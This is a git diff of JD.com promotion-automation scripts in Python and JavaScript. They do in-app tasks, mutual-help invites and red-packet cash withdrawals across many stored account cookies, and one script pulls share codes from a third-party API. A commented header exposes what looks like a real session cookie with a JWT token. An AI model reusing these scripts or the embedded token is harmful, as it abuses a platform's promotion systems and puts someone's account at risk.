AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'User-Agent': userAgent (), + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh-Hans;q=0.9', + # "Cookie":"__jd_ref_cls=Mnpm_ComponentApplied; mba_muid=16410448680341440020208.1480.1641370098735; mba_sid=1480.10; __jda=60969652.16410448680341440020208.1641044868.1641357628.1641370076.6; __jdb=60969652.3.16410448680341440020208|6.1641370076; __jdc=60969652; __jdv=60969652%7Ckong%7Ct_1000170135%7Ctuiguang%7Cnotset%7C1641349527806; pre_seq=8; pre_session=b87b02719192f981b2f34b7510b6c9ba4b2908b0|3687; jd-healthy-plantation=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC94aW5ydWlzbXpkLWlzdi5pc3ZqY2xvdWQuY29tXC9hcGlcL2F1dGgiLCJpYXQiOjE2NDEzNTU0NzksImV4cCI6MTY0MTM5ODY3OSwibmJmIjoxNjQxMzU1NDc5LCJqdGkiOiJTcGdZbU1HeU50c084c0Z2Iiwic3ViIjoiNWF1aVRrdlZRVl9icDQ3T0EtVmRQMVFOR3FQcEhMXzUtLU5XdGs5TUhPYyIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.cfuKGTSrCfBX2qxrTdcW2ME3ASBbTo-DCFRwHWoPiDg" + "Origin":"https://xinruismzd-isv.isvjcloud.com", + # "Content-Length":"124", + } + data = r'{"plant_id":' + f"{charge_targe_id}" + r'}' + for i in range(10): + response = requests.post(url=url, verify=False, headers=headers,data=data.encode()) #data中有汉字,需要encode为utf-8 + result = response.json() + print(result) + user_coins = result['user_coins'] #剩余能量 + coins = result['plant_info']['coins'] #消耗能量 + msg ("充能成功,消耗【{0}】能量,剩余能量【{1}】".format (coins,user_coins)) + time.sleep(2) + + except Exception as e: + # print(e) + message = result['message'] + if "充值次数达到上限" in message: + msg("账号【{0}】充能次数已达上限10次".format(account)) + + +def start(): + global cookie,cookies,charge_targe_id + print (f"\n【准备开始...】\n") + nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + if cookie != '': + account = setName (cookie) + msg ("★★★★★正在账号{}的任务★★★★★".format (account)) + access_token = get_ck(cookie,sid_ck,account) + cookie = get_Authorization (access_token, account) + get_planted_info (cookie, sid,account) + if nowtime > flag_time1 and nowtime < flag_time2: + taskName,taskId,taskToken = get_sleep (cookie,sid) + do_task(cookie,taskName,taskId,taskToken,sid,account) + charge(charge_targe_id,cookie,sid,account) + else: + taskName_list,taskId_list,taskToken_list = get_task (cookie,sid,account) + for i,j,k in zip(taskName_list,taskId_list,taskToken_list): + do_task(cookie,i,j,k,sid,account) + taskName, taskId, taskToken_list = get_task2(cookie,sid,account) + for i in taskToken_list: + do_task2 (cookie, taskName, taskId, i, sid,account) + charge(charge_targe_id,cookie,sid, account) + elif cookies != '': + for cookie in cookies: + try: + account = setName (cookie) + msg ("★★★★★正在账号{}的任务★★★★★".format (account)) + charge_targe_id='' + access_token = get_ck (cookie, sid_ck,account) + cookie = get_Authorization (access_token, account) + get_planted_info (cookie,sid,account) + if nowtime > flag_time1 and nowtime < flag_time2: + taskName, taskId, taskToken = get_sleep (cookie,sid) + do_task (cookie, taskName, taskId, taskToken, sid,account) + else: + taskName_list, taskId_list, taskToken_list = get_task (cookie, sid,account) + for i, j, k in zip (taskName_list, taskId_list, taskToken_list): + do_task (cookie, i, j, k, sid,account) + taskName, taskId, taskToken_list = get_task2 (cookie,sid, account) + for i in taskToken_list: + do_task2 (cookie, taskName, taskId, i, sid,account) + + except Exception as e: + pass + charge (charge_targe_id, cookie, sid, account) + else: + printT("请检查变量plant_cookie是否已填写") + +if __name__ == '__main__': + printT("京东健康社区-种植园") + start () + if '成熟' in msg_info: + send ("京东健康社区-种植园", msg_info) + if '成功' in msg_info: + send ("京东健康社区-种植园", msg_info) diff --git a/jd_jdfactory.js b/jd_jdfactory_Mod.js similarity index 95% rename from jd_jdfactory.js rename to jd_jdfactory_Mod.js index d231a76be..fc3d29e36 100644 --- a/jd_jdfactory.js +++ b/jd_jdfactory_Mod.js @@ -1,3 +1,9 @@ +/* + * @Author: LXK9301 https://github.com/LXK9301 + * @Date: 2021-8-20 + * @Last Modified by: LXK9301 + * @Last Modified time: 2020-12-26 22:58:02 + */ /* 东东工厂,不是京喜工厂 活动入口:京东APP首页-数码电器-东东工厂 @@ -12,19 +18,19 @@ ============Quantumultx=============== [task_local] #东东工厂 -10 0,6-23 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true +10 0,6-23 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, tag=东东工厂, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_factory.png, enabled=true ================Loon============== [Script] -cron "10 0,6-23 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js,tag=东东工厂 +cron "10 0,6-23 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js,tag=东东工厂 ===============Surge================= -东东工厂 = type=cron,cronexp="10 0,6-23 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js +东东工厂 = type=cron,cronexp="10 0,6-23 * * *",wake-system=1,timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js ============小火箭========= -东东工厂 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdfactory.js, cronexpr="10 0,6-23 * * *", timeout=3600, enable=true +东东工厂 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jdfactory.js, cronexpr="10 0,6-23 * * *", timeout=3600, enable=true */ -const $ = new Env('东东工厂'); +const $ = new Env('东东工厂互助版'); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; @@ -47,7 +53,20 @@ const JD_API_HOST = 'https://api.m.jd.com/client.action'; const inviteCodes = []; let myInviteCode; $.newShareCode = []; -!(async () => { + +let NowHour = new Date().getHours(); +let llhelp=true; +if ($.isNode() && process.env.CC_NOHELPAFTER8) { + console.log(NowHour); + if (process.env.CC_NOHELPAFTER8=="true"){ + if (NowHour>8){ + llhelp=false; + console.log(`现在是9点后时段,不启用互助....`); + } + } +} + +!(async () => { if (!cookiesArr[0]) { $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; @@ -59,9 +78,9 @@ $.newShareCode = []; $.index = i + 1; $.isLogin = true; $.nickName = ''; - $.stop = true; + $.stop = false; message = ''; - //await TotalBean(); + await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); @@ -74,6 +93,18 @@ $.newShareCode = []; await jdFactory() } } + if(llhelp){ + console.log(`\n开始账号内互助......`); + for (let j = 0; j < cookiesArr.length; j++) { + if (cookiesArr[j]) { + cookie = cookiesArr[j]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = j + 1; + console.log(`【京东账号${$.index}】${$.nickName || $.UserName}:\n`); + await helpFriends(); + } + } + } })() .catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') @@ -642,6 +673,31 @@ function jdfactory_getHomeData() { }) }) } +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://api.jdsharecode.xyz/api/ddfactory/${randomCount}`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} + function taskPostUrl(function_id, body = {}, function_id2) { let url = `${JD_API_HOST}`; if (function_id2) { diff --git a/jd_jdtj_winner.js b/jd_jdtj_winner.js deleted file mode 100644 index 1581a0166..000000000 --- a/jd_jdtj_winner.js +++ /dev/null @@ -1,323 +0,0 @@ -/* -京东特价翻翻乐 -一天可翻多次,但有上限 -运气好每次可得0.3元以上的微信现金(需京东账号绑定到微信) -脚本兼容: QuantumultX, Surge,Loon, JSBox, Node.js -=================================Quantumultx========================= -[task_local] -#京东特价翻翻乐 -20 0-23/3 * * * https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdtj_winner.js, tag=京东特价翻翻乐, img-url=https://github.com/58xinian/icon/raw/master/jdgc.png, enabled=true - -================Loon============== -[Script] -cron "20 0-23/3 * * *" script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdtj_winner.js,tag=京东特价翻翻乐 - -===============Surge================= -京东特价翻翻乐 = type=cron,cronexp="20 0-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdtj_winner.js - -============小火箭========= -京东特价翻翻乐 = type=cron,script-path=https://raw.githubusercontent.com/shufflewzc/faker2/main/jd_jdtj_winner.js, cronexpr="20 0-23/3 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东特价翻翻乐'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message = '', linkId = 'ouLEuSSoBzj9b9YYYIsiDA', fflLinkId = 'ouLEuSSoBzj9b9YYYIsiDA'; -const money = process.env.BIGWINNER_MONEY || 0.3 -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -const len = cookiesArr.length; - -!(async () => { - $.redPacketId = [] - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); - return; - } - for (let i = 0; i < len; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - await $.wait(3000); - await main() - } - } - if (message) { - $.msg($.name, '', message); - if ($.isNode()) await notify.sendNotify($.name, message); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function main() { - try { - $.canApCashWithDraw = false; - $.changeReward = true; - $.canOpenRed = true; - await gambleHomePage(); - if (!$.time) { - console.log(`开始进行翻翻乐拿红包\n`) - await gambleOpenReward();//打开红包 - await $.wait(3000); - if ($.canOpenRed) { - while (!$.canApCashWithDraw && $.changeReward) { - await openRedReward(); - await $.wait(2000); - } - if ($.canApCashWithDraw) { - //提现 - await openRedReward('gambleObtainReward', $.rewardData.rewardType); - await apCashWithDraw($.rewardData.id, $.rewardData.poolBaseId, $.rewardData.prizeGroupId, $.rewardData.prizeBaseId, $.rewardData.prizeType); - } - } - } - } catch (e) { - $.logErr(e) - } -} - - -//查询剩余多长时间可进行翻翻乐 -function gambleHomePage() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://doublejoy.jd.com', - 'Accept': 'application/json, text/plain, */*', - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Accept-Encoding': `gzip, deflate, br`, - 'Referer': `https://doublejoy.jd.com/?activityId${linkId}`, - 'Accept-Language': 'zh-cn', - 'Cookie': cookie - } - const body = { 'linkId': fflLinkId }; - const options = { - url: `https://api.m.jd.com/?functionId=gambleHomePage&body=${encodeURIComponent(JSON.stringify(body))}&appid=activities_platform&clientVersion=null`, - headers, - } - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data.data.leftTime === 0) { - $.time = data.data.leftTime; - } else { - $.time = (data.data.leftTime / (60 * 1000)).toFixed(2); - } - console.log(`\n查询下次翻翻乐剩余时间成功:\n京东账号【${$.UserName}】距开始剩 ${$.time} 分钟`); - } else { - console.log(`查询下次翻翻乐剩余时间失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//打开翻翻乐红包 -function gambleOpenReward() { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://doublejoy.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3149 MMWEBSDK/20211001 Mobile Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.16.2040(0x28001055) Process/appbrand0 WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wxc3c2227edeffca75', - 'Referer': `https://doublejoy.jd.com`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { 'linkId': fflLinkId }; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=gambleOpenReward&body=${JSON.stringify(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=null` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - console.log(`翻翻乐打开红包 成功,获得:${data.data.rewardValue}元红包\n`); - } else { - console.log(`翻翻乐打开红包 失败:${JSON.stringify(data)}\n`); - if (data.code === 20007 || data.code === 1000) { - $.canOpenRed = false; - console.log(`翻翻乐打开红包 失败,今日活动参与次数已达上限或者黑号拉!`) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//翻倍红包 -function openRedReward(functionId = 'gambleChangeReward', type) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://doublejoy.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3149 MMWEBSDK/20211001 Mobile Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.16.2040(0x28001055) Process/appbrand0 WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wxc3c2227edeffca75', - 'Referer': `https://doublejoy.jd.com`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { 'linkId': fflLinkId }; - if (type) body['rewardType'] = type; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=${functionId}&body=${JSON.stringify(body)}&t=${Date.now()}&appid=activities_platform&clientVersion=null` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - $.changeReward = false; - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - // console.log(`翻翻乐结果:${data}\n`); - data = JSON.parse(data); - if (data['code'] === 0) { - $.rewardData = data.data; - if (data.data.rewardState === 1) { - if (data.data.rewardValue >= money) { - //已翻倍到0.3元,可以提现了 - $.canApCashWithDraw = true; - $.changeReward = false; - // message += `${data.data.rewardValue}元现金\n` - } - if (data.data.rewardType === 1) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元红包\n`); - } else if (data.data.rewardType === 2) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${data.data.rewardValue}元现金\n`); - // $.canApCashWithDraw = true; - } else { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } else if (data.data.rewardState === 3) { - console.log(`翻翻乐 第${data.data.changeTimes}次翻倍 失败,奖品溜走了/(ㄒoㄒ)/~~\n`); - $.changeReward = false; - } else { - if (type) { - console.log(`翻翻乐领取成功:${data.data.amount}现金\n`) - message += `【京东账号${$.index}】${$.nickName || $.UserName}\n${new Date().getHours()}点:${data.data.amount}现金\n`; - } else { - console.log(`翻翻乐 翻倍 成功,获得:${JSON.stringify(data)}\n`); - } - } - } else { - $.canApCashWithDraw = true; - $.changeReward = false; - console.log(`翻翻乐 翻倍 失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -//翻翻乐提现 -function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId, prizeType) { - const headers = { - 'Host': 'api.m.jd.com', - 'Origin': 'https://doublejoy.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'User-Agent': 'Mozilla/5.0 (Linux; Android 9; Note9 Build/PKQ1.181203.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3149 MMWEBSDK/20211001 Mobile Safari/537.36 MMWEBID/8813 MicroMessenger/8.0.16.2040(0x28001055) Process/appbrand0 WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64 miniProgram/wxc3c2227edeffca75', - 'Referer': `https://doublejoy.jd.com?activityId=${linkId}`, - 'Accept-Language': 'zh-cn', - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': cookie - } - const body = { - "businessSource": "GAMBLE", - "base": { - id, - "business": "redEnvelopeDouble", - poolBaseId, - prizeGroupId, - prizeBaseId, - prizeType - }, - "linkId": fflLinkId - }; - const options = { - url: `https://api.m.jd.com/`, - headers, - body: `functionId=apCashWithDraw&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}&appid=activities_platform&clientVersion=null` - } - return new Promise(resolve => { - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['code'] === 0) { - if (data['data']['status'] === '310') { - console.log(`京东特价--翻翻乐 成功🎉,详情:${JSON.stringify(data)}\n`); - message += `提现至微信钱包成功🎉\n\n`; - } else if (data['data']['status'] === '50053') { - console.log(`京东特价--翻翻乐 失败,详情:${JSON.stringify(data)}\n`); - message += `提现至微信钱包失败\n详情:${JSON.stringify(data)}\n\n`; - } - } else { - console.log(`京东特价--翻翻乐 失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve() - } - }) - }) -} -// prettier-ignore -function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), a = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(a, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t) { let e = { "M+": (new Date).getMonth() + 1, "d+": (new Date).getDate(), "H+": (new Date).getHours(), "m+": (new Date).getMinutes(), "s+": (new Date).getSeconds(), "q+": Math.floor(((new Date).getMonth() + 3) / 3), S: (new Date).getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, ((new Date).getFullYear() + "").substr(4 - RegExp.$1.length))); for (let s in e) new RegExp("(" + s + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? e[s] : ("00" + e[s]).substr(("" + e[s]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))); let h = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; h.push(e), s && h.push(s), i && h.push(i), console.log(h.join("\n")), this.logs = this.logs.concat(h) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_jin_tie.js b/jd_jin_tie.js index 9c6a37413..5d2fe867a 100644 --- a/jd_jin_tie.js +++ b/jd_jin_tie.js @@ -36,7 +36,7 @@ if ($.isNode()) { $.isLogin = true; $.nickName = ''; message = ''; - await TotalBean(); + //await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); diff --git a/jd_jinli_hongbao.ts b/jd_jinli_hongbao.ts deleted file mode 100644 index 21ece4c1e..000000000 --- a/jd_jinli_hongbao.ts +++ /dev/null @@ -1,172 +0,0 @@ -/** - * 京东-锦鲤红包 - * 